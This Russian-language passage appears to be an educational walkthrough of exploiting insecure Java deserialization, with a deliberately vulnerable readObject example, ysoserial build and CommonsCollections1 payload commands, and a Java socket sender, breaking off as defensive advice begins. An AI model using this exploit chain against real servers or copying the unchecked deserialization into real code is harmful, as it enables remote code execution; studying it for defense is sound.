41
Пример эксплойта для уязвимости небезопасной десериализации может выглядеть следующим образом. Предположим, у нас есть веб-приложение на Java, которое принимает сериализованные объекты и десериализует их без проверки.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
import java.io.*; public class VulnerableApp { public static void main(String[] args) throws IOException, ClassNotFoundException { // Предположим, что мы получаем сериализованные данные из внешнего источника byte[] serializedData = getSerializedDataFromExternalSource(); // Десериализация данных без проверки ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serializedData); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); Object deserializedObject = objectInputStream.readObject(); // Использование десериализованного объекта System.out.println("Deserialized object: " + deserializedObject); } private static byte[] getSerializedDataFromExternalSource() { // В реальном приложении данные могут поступать из сети, файла и т.д. // Для примера вернем заглушку return new byte[]{}; } } |
Для создания эксплойта мы можем использовать библиотеку ysoserial
, которая позволяет генерировать вредоносные сериализованные объекты для различных уязвимостей десериализации.
ysoserial
:
1 2 3 |
git clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn package |
2. Создайте вредоносный сериализованный объект:
1 |
java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections1 'touch /tmp/exploit-success' > payload.bin |
3. Отправьте вредоносный объект в уязвимое приложение: В реальном сценарии вы бы отправили содержимое payload.bin
в уязвимое приложение через сеть или другой канал.
Пример кода для отправки эксплойта:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
import java.io.*; import java.net.*; public class ExploitSender { public static void main(String[] args) throws IOException { // Чтение вредоносного сериализованного объекта из файла FileInputStream fileInputStream = new FileInputStream("payload.bin"); byte[] payload = fileInputStream.readAllBytes(); fileInputStream.close(); // Отправка вредоносного объекта в уязвимое приложение Socket socket = new Socket("localhost", 12345); // Предположим, что уязвимое приложение слушает на порту 12345 OutputStream outputStream = socket.getOutputStream(); outputStream.write(payload); outputStream.flush(); socket.close(); } } |
Если уязвимое приложение десериализует вредоносный объект, созданный с помощью ysoserial
, это может привести к выполнению команды touch /tmp/exploit-success
на сервере, где работает уязвимое приложение.
Для защиты от уязвимостей небезопасной десериализации рекомендуется: